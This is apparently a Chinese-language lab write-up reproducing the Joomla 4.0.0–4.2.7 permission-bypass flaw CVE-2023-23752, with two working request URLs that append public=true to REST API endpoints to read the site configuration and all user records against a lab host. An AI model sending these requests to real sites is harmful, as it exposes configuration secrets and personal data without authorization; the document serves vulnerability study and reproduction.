Joomla 权限绕过漏洞(CVE-2023-23752)
概述
Joomla 是一款免费开源的内容管理系统(CMS),用 PHP 语言和 MySQL 数据库开发。它被广泛用于构建各种类型的网站,包括企业网站、新闻门户、电子商务平台等。Joomla 以其灵活性、可扩展性和安全性而闻名,在全球 CMS 市场中占有一席之地。
Joomla 有三个路由入口,分别是
- 根目录的 index.php(用户访问文章)
- 根目录的 administrator/index.php(管理员管理)
- 根目录的 api/index.php(Rest API)
在 Joomla 版本为 4.0.0 到 4.2.7 中,存在一处属性覆盖漏洞,导致攻击者可以通过恶意请求绕过权限检查,访问任意 Rest API。
漏洞复现
启动靶场以后,访问 http://192.168.2.243:8080/即可看到默认页面。
访问 Rest API 并传入参数 public=true
,此时即可绕过权限校验,直接访问。
若不加 public=true
参数,则无法访问。
例如访问如下链接:
http://192.168.2.243:8080/api/index.php/v1/config/application?public=true
可以成功获取相关信息。
访问如下链接,
http://192.168.2.243:8080/api/index.php/v1/users?public=true
可以获取到所有用户的信息,包括邮箱等。